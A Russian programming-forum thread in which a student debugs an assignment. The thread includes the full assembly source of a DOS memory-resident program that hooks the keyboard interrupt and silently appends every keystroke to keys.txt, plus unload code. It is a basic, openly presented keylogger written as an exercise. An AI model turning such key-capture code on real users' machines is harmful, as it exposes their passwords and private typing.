Сообщений: 6
10.01.2013, 18:33
Здравствуйте.
Собственно, пишу по какому вопросу... Обнаружил что мое задание почти полностью совпадает с изложенным выше, потому хотел воспользоваться вашими материалами... Однако столкнулся с одной непонятной проблемой.
Почему-то, при запуске вашего com файла в dosboxe не происходит вообще ничего. То есть смещается 1 строчка, а далее опять командная строка. В файле keys естественно ничего не появляется. Тоже самое происходит если использовать код не из архив, а постами выше. Что я делаю не так?

Мои действия:
mount x d:\asm\
x:\compile.bat
x:\20120527.com


В любом случае, спасибо за изложенные выше материалы.
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
10.01.2013, 19:08
Коды клавиш записываются в фоновом режиме. Запустите программу, понажимайте клавиши и уже потом смотрите файл.
0
0 / 0 / 0
Регистрация: 10.01.2013
Сообщений: 6
10.01.2013, 19:21
Keys.txt остается пустым... Я это и подразумевал...
Открывать Keys.txt нужно в досе, до закрытия доса?
или же все-таки после закрытия досбокса?
В любом случае, "type keys.txt" так же показывает мне пустоту...
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
10.01.2013, 20:29
Всю программу уже не помню. Кажется, запись происходит после нажатия Enter.
0
0 / 0 / 0
Регистрация: 10.01.2013
Сообщений: 6
10.01.2013, 20:36
Не спасло =(
Вы не могли бы посмотреть ее у себя, и сказать что не так?
Был бы очень благодарен...
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
10.01.2013, 20:42
У меня работает на XP в окне ДОС.
Запись происходит и после набора 26 символов.
0
0 / 0 / 0
Регистрация: 10.01.2013
Сообщений: 6
10.01.2013, 20:56
=(
У меня на одной машине Win7 64 bit, на другой Win7 32 bit... и там и там ничего...
было бы странно, если работает только на XP, Тем более что все запускаю из под dosboxa...
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
10.01.2013, 21:27
1.После запуска программы размер файла = 0.
2.Резидент в памяти.
3.Набраны цифры и нажат Ввод.
4.Новый размер файла = 52.
5.Содержимое файла.
Миниатюры
Записать коды вводимых символов   Записать коды вводимых символов   Записать коды вводимых символов  

Записать коды вводимых символов   Записать коды вводимых символов  
1
0 / 0 / 0
Регистрация: 10.01.2013
Сообщений: 6
10.01.2013, 21:38
Вижу... Странно...
Сейчас попробую поставить на виртуальную машину...

И я же правильно понимаю, в этой версии кода отсутвует выгрузка из оперативной памяти?
0
650 / 337 / 37
Регистрация: 04.04.2012
Сообщений: 886
10.01.2013, 21:50
Цитата Сообщение от Defiance Посмотреть сообщение
И я же правильно понимаю, в этой версии кода отсутвует выгрузка из оперативной памяти?
Да, отсутствует.
0
0 / 0 / 0
Регистрация: 10.01.2013
Сообщений: 6
10.01.2013, 22:34
Ладно, видимо не судьба... На вирутальной машине тоже самое... П

кстати говоря, как тогда правильней прекратить работу программы?

Добавлено через 15 минут
P.s. этот код у меня работает...

Цитата Сообщение от castle_29 Посмотреть сообщение
вот программа с добавленной выгрузкой
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
.286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h
 
Begin:
    jmp Init ; на метку инициализации
 
 
; === Обработчик 10h-ого прерывания ===
Int_10h_proc proc
       cmp ax,0FAAFh ;Это мы проверяем на повторную загрузку?
       jne Next_step ;Нет - смотрим дальше... 
 
       xchg ah,al    ;Да - меняем местами ah/al
       iret
 
Next_step:
       cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла?
       jne Run_int   ;Нет - передаем управление 10h-прерыванию... 
 
       push cs       ;Заносим в ES сегмент log-файла.
       pop es
       mov di,offset File_name ;Заносим в DI смещение log-файла
       iret          ;Выходим...
 
Run_int:
       jmp dword ptr cs:[0F8h] ;Передаем управление 10h-прерыванию.
Int_10h_proc endp
 
 
; === Обработчик 09h-ого прерывания ===
Int_09h_proc proc
       cli    ;Запрещаем все прерывания
       pushf  ;Дадим сперва управление...
       call dword ptr cs:[0FCh]  ;...оригинальному обработчику
       pushf
       pusha       ;Сохраним регистры в стеке...
       push ds es si di
                             ; push ds
 
      cld         ;Направление - вперед!
 
       in al,60h         ;Получим СКАН-КОД нажатой клавиши.
       test al,10000000b ;(=80h) Это отпускание клавиши?
       jnz Exit_09h      ;Если так, то сохранять ее код не надо 
       
       mov ax,cs   ;Сегментные регистры должны указывать на наш сегмент.
       mov ds,ax
       mov es,ax
 
       mov ah,1    ;Получим ASCII-код нажатой клавиши.
       int 16h
       jz Ext_code ;Буфер клавиатуры пуст? Тогда на выход. 
       
     cmp ax,2d18h 
      jz uninit
 
       or al,al        ;Введен расширенный код?
       jz Flash_buffer ;Тогда сохраним все, что вводили. 
 
       cmp al,13       ;Нажали Enter?
       jz Flash_buffer ;Тогда сохраняем введенные символы. 
        
             
     call Store_sym ;Иначе заносим введенный символ в буфер клавиатуры. 
 
 
Ext_code:  
   
Exit_09h:
       ;pop ds ;Восстановим сохраненные регистры...
       ;pop es
       ;popa
       pop di si es ds
       popa
       popf
       
       sti   ;Разрешим прерывания и
       iret  ;выходим из процедуры.
 
 
Flash_buffer:
        
       call Save_string   ;Сохраняем введенную строку в файл. 
       jmp short Exit_09h ;На выход. 
 
; выгружаем
uninit:
push ds
lds dx,cs:[0FCh]
mov ax,2509h
int 21h
mov AX, 2510h;восстановим старый вектор 
lds DX, cs:[0F8h]
int 21h 
pop ds
push cs
pop es
mov ah,49h
int 21h
call newline         
mov si,00h
push cs
pop es
lea bx,cs:EXIT
oou:
cmp si,11h
je  e_code
mov al,es:[bx]
int 10h
inc si
inc bx
jmp oou
e_code:
int 20h
jmp ext_code
                                   
Int_09h_proc endp 
 
 
newline proc
mov ah,0eh
mov al,0dh
int 10h
mov al,0ah
int 10h
ret
newline endp
 
; === Заносим введенный символ в наш буфер ===
Store_sym proc  
 
 mov di,cs:[0F6h] ;Занесем в DI количество введенных символов
       cmp di,79        ;Оно больше 79?
       jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ. 
 
       push di     ;Иначе сбросим буфер в файл.
       push ax
       call Save_string
       pop ax
       pop di
 
OK_store:
       stosb ;Занесем очередной символ в буфер.
       inc word ptr cs:[0F6h] ;Увеличим счетчик.
       ret   ;Вернемся... 
 
num     db  ?
 hex   db '0123456789ABCDEF'
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc
       mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере.
       or di,di         ;Оно равно 0?
       jz Nothing_save  ;Тогда писать в файл ничего не надо. 
       add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки...
       mov ax,0A0Dh             ;...переход на новую строку
       stosw                    ;(для удобства чтения).
 
       mov ax,3D02h    ;Откроем файл для чтения/записи.
       mov dx,offset File_name
       int 21h
       jc Nothing_save ;При ошибке - на выход... 
       mov Handle,ax
 
       mov bx,ax
       mov ax,4202h    ;Установим указатель на конец файла.
       xor cx,cx
       xor dx,dx
       int 21h
 
       mov cx,cs:[0F6h] ;CX=количество записываемых символов.
       mov bx,Handle
       xor dx,dx        ;Пишем с самого начала буфера.
       mov ah,40h
       int 21h          ;Добавляем в файл введенные символы...
 
       mov bx,Handle    ;Закроем файл.
       mov ah,3Eh
       int 21h
 
Nothing_save:
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода.
       ret ;Вернемся.
 
File_name db 'keys.txt', 19 dup (0) ;Имя файла для хранения введенных символов.
Handle dw ?
Save_string endp
 
 
;   === Инициализация (подготовка и настройка резидента) ===
Init:
       mov ax,0FAAFh ;Проверка на повторную загрузку.
       int 10h
       cmp ax,0AFFAh
       jne Next_step2
 
       mov ah,9      ;Мы уже в памяти! Выведем соответствующую строку.
       mov dx,offset Mess_memory
       int 21h
 
       mov ax,0FBAFh ;Получим сегмент и смещение имени log-файла
       int 10h
 
       mov dx,di     ;Получим командную строку
       call Get_cmd
 
       mov ah,3Ch    ;Создадим новый файл для записи введенных символов.
       xor cx,cx     ;Атрибуты обычные
       push es
       pop ds
       int 21h
 
       push cs
       pop ds
 
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
No_cmdline:
       ret   ;Выйдем в DOS...
 
Next_step2:
       mov di,offset File_name ;DI - куда будем заносить параметры ком.строки.
       call Get_cmd ;Получим командную строку... 
 
       mov ah,9
       lea dx,Mess_hello ;!!! LEA DX вместо MOV DX, OFFSET
       int 21h
 
       mov es,word ptr cs:[2Ch] ;Получим сегмент окружения DOS.
       mov ah,49h               ;Функция освобождения памяти.
       int 21h                  ;Освобождаем память...
 
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода символов.
 
;Проверим, существует ли уже наш log-файл.
       mov ax,3D00h
       mov dx,offset File_name
       int 21h
       jnc Ok_file
 
;Если не существует, то:
       mov ah,3Ch ;Создадим новый файл для записи введенных символов.
       xor cx,cx  ;Атрибуты обычные
       mov dx,offset File_name
       int 21h
 
Ok_file:
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
; === 09h ===
       mov ax,3509h
       int 21h ;Получим и сохраним адрес (вектор) 09h прерывания
       mov word ptr cs:[0FCh],bx ;Смещение...
       mov word ptr cs:[0FEh],es ;Сегмент...
 
       mov ax,2509h
       lea dx,Int_09h_proc
       int 21h  ;"Повесим" нашу процедуру на 09h прерывание
 
; === 10h ===
       mov ax,3510h
       int 21h ;Получим и сохраним вектор 10h прерывания
       mov word ptr cs:[0F8h],bx
       mov word ptr cs:[0FAh],es
 
       mov ax,2510h
       lea dx,Int_10h_proc
       int 21h  ;"Повесим" нашу процедуру на 10h прерывание
 
       lea dx,Init
       int 27h  ;Оставим часть программы в памяти.
 
 
; --- Получим параметры в командной строке ---
Get_cmd proc
       mov si,80h   ;SI=смещение командной строки.
       lodsb        ;Получим кол-во символов.
       cmp al,25    ;Больше 25?
       ja No_string ;Да - на метку No_string 
       or al,al     ;Нет командной строки?
       jz No_string ;На метку No_string 
 
       inc si       ;Теперь SI указывает на первый символ строки.
 
Next_char:              
 
       lodsb      ;Получаем очередной символ.
       cmp al,0Dh ;Конец строки?
       je Got_cmd ;Да - на выход... 
       stosb      ;Иначе - сохраним символ в переменной File_name
       jmp short Next_char ;Следующий символ... 
 
Got_cmd:
       xor al,al ;Строка получена! Допишем ASCII 0 в конец
       stosb
       clc  ;Сбросим флаг переноса...
       ret  ;Выходим из процедуры
 
No_string:
       stc  ;Строка неверна! Установим флаг переноса.
       ret  ;Выходим из процедуры
Get_cmd endp
;  === Сообщения ===
 
Mess_hello db 0Ah,0Dh,'rezident loaded$ ',0Ah,0Dh
 
Mess_memory db 0Ah,0Dh,'programma uge zagrugena$',0Ah,0Dh
 
EXIT   db 13,10,'rezident unloaded$', 13,10 
cseg ends
end Begin
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
10.01.2013, 22:34

Скан-коды нажатых клавиш записать в файл
всем здравствуйте, пишу программу на тасм. условие такое нужно скан коды нажатых клавиш записать в файл, подскажите как сделать, скан коды...

Подсчитать количество символов, коды ASCII которых по величине больше 75
Программирую немного на с++, с#, pascal, basic, но ассемблер никак освоить не получается. читаю учебник Юрова Assembler, но он члишком...

Узнать коды символов, вводимых в textBox
Всем привет. В общем нужно узнать коды символов вводимых в ЭУ textbox. Может есть какая функция?

Введите массив символов из 12 элементов. Удвоить все коды символов массива
Условие :Введите массив символов из 12 элементов. Удвоить все коды символов массива. Заранее спасибо )

Если массив символов упорядочен по возрастанию, то вывести коды этих символов
1) Дана массив символов, если ее символы упорядочены по возрастанию, то вывести коды этих символов, в противоположном случае заменить...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
40
Ответ Создать тему
Новые блоги и статьи
FPS контроллер с анимированными Y-Bot и 3D-звуком miniaudio (Box3D, Recast, BehaviorTree.CPP, ozz-animation, ImGui, OpenGL и SDL3)
8Observer8 18.10.2026
Содержание блога | English Version Полное мультиплатформенное руководство по стартовому проекту с FPS-контроллером игрока, анимированными роботами Y-Bot с 4-слойным блендингом, 3D-физикой Box3D,. . .
Локальный http сервер
Argus19 17.10.2026
Локальный http сервер На работе, на двух локальных компьютерах круглосуточно работают программы опроса приборов с записью в книги Excel,которые раз в сутки записываются на сервер компании. Т. к. . . .
Копировать Windows на новый диск на UEFI
damix 17.10.2026
https:/ / uriesk. wordpress. com/ 2016/ 11/ 01/ move-window-10-to-ssd-on-a-uefi-dualboot-system-with-basic-linux-tools/ TL DR Вставляем диск, а старый подключаем через переходник, грузимся с лайва. . .
ИИ не может найти нужный язык в списке
Supersumestria 05.10.2026
Я ему даю вот такое изображение и прошу найти и подчеркнуть немецкий язык. Возвращает он вот это: https:/ / i. **********/ vqBWLe2. png Нужную строчку в 3й колонке просто выдумал. . Это. . .
Новая последняя моя музыка в SUNO
zorxor 05.10.2026
Здравствуйте, дорогие мои друзья! С большой радостью я хотел бы представить вам свою новую последнею музыку, которую сгенерировала мне по моей просьбе нейросеть SUNO. С уважением, zorxor. Это. . .
Программный домашний кинотеатр
russiannick 27.09.2026
Сподобился на программный домашний кинотеатр. В качестве ЯВУ по традиции выбрал js. В помощники взял Яндекс-Алису. Было создано три зала на разные интересы. исторические и ретро сериал Хичкок. . .
Беседа с ИИ о программистах, недопускающих к созданию и правке кода генеративные ИИ и причины этого
zorxor 21.09.2026
Раньше я радовался или получал некоторые эмоции, пусть небольшие, но всё же, от самого процесса написания кода, рекомпиляции и запуска, видя постепенное развитие программы и прочее. А теперь лень. . .
Мобильное приложение ColorStep
pavlinmavlin 17.09.2026
Реализовал приложение Красный, Зеленый, Синий в Unity3d + c#. Название изменил на ColorStep. Приложение прошло модерацию и теперь доступно для скачивания. Делал его сам, шаг за шагом — и вот,. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru